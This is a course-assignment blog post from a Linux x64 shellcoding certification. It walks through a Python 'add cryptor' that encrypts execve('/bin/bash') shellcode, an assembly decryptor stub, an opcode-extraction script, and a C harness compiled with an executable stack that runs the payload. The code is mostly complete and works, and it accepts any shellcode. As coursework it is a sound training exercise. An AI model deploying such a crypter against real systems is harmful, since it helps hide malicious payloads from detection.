SLAE64 Assignment 7 - Cryptor Shellcode
Overview
For the seventh assignment of the SLAE64, I created an Add Cryptor and a companion Sub Decryptor.
Any shellcode or encryption key can be placed in the python Add Cryptor. The Add Cryptor will output an assembly file decrypt.asm
. This assembly file is shellcode that will decrypt the payload in memory and then execute it.
Contents
1. The Python Cryptor
2. Configurable Payload
3. Configurable Encryption Key
4. Testing Python Cryptor Program
5. The Decryptor File
6. Compiling-the-Decryptor
7. Adding the Decryptor to A Host Program
8. Compiling & Executing the Test Host Program
The Python Cryptor
#!/usr/bin/python
# Filename: add-cryptor.py
# Author: Bobby Cooke
# Execve(/bin/bash) Linux/x64 Shellcode
payload = "\x48\x31\xf6" # xor rsi, rsi
payload += "\x48\xf7\xe6" # mul rsi ; rdx&rax= 0x0
payload += "\x48\x31\xff" # xor rdi, rdi
payload += "\x57" # push rdi
payload += "\x48\x83\xc2\x68" # add rdx, 0x68 ; "h"
payload += "\x52" # push rdx
payload += "\x48\xba\x2f\x62\x69\x6e\x2f\x62\x61\x73"
# movabs rdx, 0x7361622f6e69622f ; "/bin/bas"
payload += "\x52" # push rdx
payload += "\x48\x31\xd2" # xor rdx, rdx
payload += "\x48\x89\xe7" # mov rdi, rsp ; rdi = Pointer -> "/bin/bash"0x00
payload += "\xb0\x3b" # mov al, 0x3b ; execve syscall number
payload += "\x0f\x05" # syscall ; call execve("/bin/bash", NULL, NULL)
key = "SoSecr3T"
encrypted = ""
keyArray = bytearray(key)
keyLength = len(key)
count1 = 0
count2 = 0
for x in bytearray(payload):
if count1 == keyLength: # If key length is exceeded, reuse the key
count1 = 0
x += keyArray[count1] # Add payload 1st byte and key together
if x > 255: # check for overflow
x -= 256
if count2 == 0:
encrypted += '0x'
encrypted += '%02x' %x
else:
encrypted += ',0x'
encrypted += '%02x' %x
count1 += 1
count2 += 1
encrypted += ',0xaa,0xbb'
print "[--------------Encrypted-Payload--------------]"
print "Encryped Payload Size is: "+ str(hex(len(payload)+2)) + " Bytes"
print encrypted
keyHex = ""
count = 0
for x in keyArray:
if count == 0:
keyHex += '0x'
keyHex += '%02x' %x
else:
keyHex += ',0x'
keyHex += '%02x' %x
count += 1
keyHex += ',0xee' # End of key byte
print "[----------------Key-Info---------------------]"
print "Key Size is: "+ str(keyLength) + " Bytes"
print keyHex
# Write Assembly Code to a File
asmFile = 'xor rcx, rcx ; rcx = 0x0\r\n'
asmFile += 'mul rcx ; rax&rdx = 0x0\r\n'
asmFile += 'jmp short callEncrypted\r\n'
asmFile += 'popEncrypted:\r\n'
asmFile += 'pop rdi ; rdi = &Encrypted\r\n'
asmFile += 'jmp short callKey\r\n'
asmFile += 'popKey:\r\n'
asmFile += 'pop rax ; rax = &key\r\n'
asmFile += 'resetKey:\r\n'
asmFile += 'push rax\r\n'
asmFile += 'pop rsi ; rsi = &key\r\n'
asmFile += 'decryptLoop:\r\n'
asmFile += 'mov dl, [rsi]\r\n'
asmFile += 'sub [rdi], dl ; decrypt byte of payload\r\n'
asmFile += 'inc rsi ; next key byte\r\n'
asmFile += 'inc rdi ; next encrypted byte\r\n'
asmFile += 'mov dx, 0xbbaa\r\n'
asmFile += 'cmp [rdi], dx ; End of payload?\r\n'
asmFile += 'je payload\r\n'
asmFile += 'mov dl, 0xee\r\n'
asmFile += 'cmp [rsi], dl ; End of key?\r\n'
asmFile += 'je resetKey\r\n'
asmFile += 'jmp short decryptLoop ; use next byte of key to decrypt\r\n'
asmFile += 'callEncrypted:\r\n'
asmFile += 'call popEncrypted\r\n'
asmFile += 'payload:\r\n'
asmFile += 'db '+encrypted+'\r\n'
asmFile += 'callKey:\r\n'
asmFile += 'call popKey\r\n'
asmFile += 'key:\r\n'
asmFile += 'db '+keyHex+'\r\n'
File = "decrypt.asm"
try:
f = open(File, 'w')
f.write(asmFile)
f.close()
print File + " created successfully"
except:
print File + ' failed to create'
Configurable Payload
The payload can be changed to any Linux x64 shellcode. This can be done by replacing the payload
variable within the python program.
# Execve(/bin/bash) Linux/x64 Shellcode
payload = "\x48\x31\xf6" # xor rsi, rsi
payload += "\x48\xf7\xe6" # mul rsi ; rdx&rax= 0x0
payload += "\x48\x31\xff" # xor rdi, rdi
payload += "\x57" # push rdi
payload += "\x48\x83\xc2\x68" # add rdx, 0x68 ; "h"
payload += "\x52" # push rdx
payload += "\x48\xba\x2f\x62\x69\x6e\x2f\x62\x61\x73"
# movabs rdx, 0x7361622f6e69622f ; "/bin/bas"
payload += "\x52" # push rdx
payload += "\x48\x31\xd2" # xor rdx, rdx
payload += "\x48\x89\xe7" # mov rdi, rsp ; rdi = Pointer -> "/bin/bash"0x00
payload += "\xb0\x3b" # mov al, 0x3b ; execve syscall number
payload += "\x0f\x05" # syscall ; call execve("/bin/bash", NULL, NULL)
Configurable Encryption Key
The encryption key is also configurable. Simply change the string of the varaible key
within the python program to any key you wish. The length should not matter
key = "SoSecr3T"
Testing Python Cryptor Program
Since we already have the payload set to our execve shellcode, we will run the cryptor.
root# python 1-Cryptor-Add.py
[--------------Encrypted-Payload--------------]
Encryped Payload Size is: 0x26 Bytes
0x9b,0xa0,0x49,0xad,0x5a,0x58,0x7b,0x85,0x52,
0xc6,0x9b,0xe8,0x25,0xda,0x85,0x9c,0x0d,0x9e,
0xb5,0xce,0xd1,0xa1,0x95,0xb5,0xc6,0xc1,0x9b,
0x96,0x35,0xba,0xbc,0x3b,0x03,0xaa,0x62,0x6a,
0xaa,0xbb
[----------------Key-Info---------------------]
Key Size is: 8 Bytes
0x53,0x6f,0x53,0x65,0x63,0x72,0x33,0x54,0xee
decrypt.asm created successfully
- We see that a file named decrypt.asm has been created.
The Decryptor File
The python program created an assembly file that has our encrypted payload and encryption key loaded into it. All we need to do is compile it to get the decryptor shellcode.
xor rcx, rcx ; rcx = 0x0
mul rcx ; rax&rdx = 0x0
jmp short callEncrypted
popEncrypted:
pop rdi ; rdi = &Encrypted
jmp short callKey
popKey:
pop rax ; rax = &key
resetKey:
push rax
pop rsi ; rsi = &key
decryptLoop:
mov dl, [rsi]
sub [rdi], dl ; decrypt byte of payload
inc rsi ; next key byte
inc rdi ; next encrypted byte
mov dx, 0xbbaa
cmp [rdi], dx ; End of payload?
je payload
mov dl, 0xee
cmp [rsi], dl ; End of key?
je resetKey
jmp short decryptLoop ; use next byte of key to decrypt
callEncrypted:
call popEncrypted
payload:
db 0x9b,0xa0,0x49,0xad,0x5a,0x58,0x7b,0x85,0x52,\
0xc6,0x9b,0xe8,0x25,0xda,0x85,0x9c,0x0d,0x9e,\
0xb5,0xce,0xd1,0xa1,0x95,0xb5,0xc6,0xc1,0x9b,\
0x96,0x35,0xba,0xbc,0x3b,0x03,0xaa,0x62,0x6a,\
0xaa,0xbb
callKey:
call popKey
key:
db 0x53,0x6f,0x53,0x65,0x63,0x72,0x33,0x54,0xee
Compiling the Decryptor
Here we will use a simple bash script to compile the decryptor assembly. We will then load it into a simple C program for testing.
root# cat getshellcode.sh
#!/bin/bash
asmFile=$1
noExt=$(echo $asmFile | sed 's/\..*$//g')
objFile=$noExt".o"
nasm -f elf64 $asmFile -o $objFile
for i in $(objdump -D $objFile | grep "^ " | cut -f2); do echo -n '\x'$i; done; echo ''
root# ./getshellcode.sh decrypt.asm
\x48\x31\xc9\x48\xf7\xe1\xeb\x21\x5f\xeb\x49\x58\x50\x5e
\x8a\x16\x28\x17\x48\xff\xc6\x48\xff\xc7\x66\xba\xaa\xbb
\x66\x39\x17\x74\x0d\xb2\xee\x38\x16\x74\xe5\xeb\xe5\xe8
\xda\xff\xff\xff\x9b\xa0\x49\xad\x5a\x58\x7b\x85\x52\xc6
\x9b\xe8\x25\xda\x85\x9c\x0d\x9e\xb5\xce\xd1\xa1\x95\xb5
\xc6\xc1\x9b\x96\x35\xba\xbc\x3b\x03\xaa\x62\x6a\xaa\xbb
\xe8\xb2\xff\xff\xff\x53\x6f\x53\x65\x63\x72\x33\x54\xee
Adding the Decryptor to A Host Program
Now that we have the assembly for our encrypted payload, pre setup with the symmetric decryption key & decryptor stub, we will load it into a host C program. Since the decryptor stub writes to memory that is typically not writable, we will have to pass some magic flags to GCC at compilation.
// Filename: shellcode.c
// Author: Bobby Cooke
#include<stdio.h>
#include<string.h>
unsigned char shellcode[] = \
"\x48\x31\xc9\x48\xf7\xe1\xeb\x21\x5f\xeb\x49\x58\x50\x5e"
"\x8a\x16\x28\x17\x48\xff\xc6\x48\xff\xc7\x66\xba\xaa\xbb"
"\x66\x39\x17\x74\x0d\xb2\xee\x38\x16\x74\xe5\xeb\xe5\xe8"
"\xda\xff\xff\xff\x9b\xa0\x49\xad\x5a\x58\x7b\x85\x52\xc6"
"\x9b\xe8\x25\xda\x85\x9c\x0d\x9e\xb5\xce\xd1\xa1\x95\xb5"
"\xc6\xc1\x9b\x96\x35\xba\xbc\x3b\x03\xaa\x62\x6a\xaa\xbb"
"\xe8\xb2\xff\xff\xff\x53\x6f\x53\x65\x63\x72\x33\x54\xee";
int main()
{
printf("Shellcode Length: %d\n", strlen(shellcode));
int (*ret)() = (int(*)())shellcode;
ret();
}
Compiling & Executing the Test Host Program
Now we will compile our host C program with GCC.
root# gcc -m64 -z execstack -fno-stack-protector shellcode.c -o shellcode
- Awesome, no errors!
Now we will execute our compiled C program that hosts our shellcode.
root# echo $$ | xargs ps
PID TTY STAT TIME COMMAND
4332 pts/2 Ss 0:01 /bin/bash
root# ./shellcode
Shellcode Length: 98
root# echo $$ | xargs ps
PID TTY STAT TIME COMMAND
8081 pts/2 S 0:00 [bash]
- Awesome! Everything works as intended.
Our payload was successfully decrypted in memory using the key provided in the decryptor file. After our encrypted payload was decrypted, execution was passed to our original execve
shellcode payload!
SLAE64 Blog Proof
This blog post has been created for completing the requirements of the x86_64 Assembly Language and Shellcoding on Linux (SLAE64):
https://www.pentesteracademy.com/course?id=7
SLAE/Student ID: PA-10913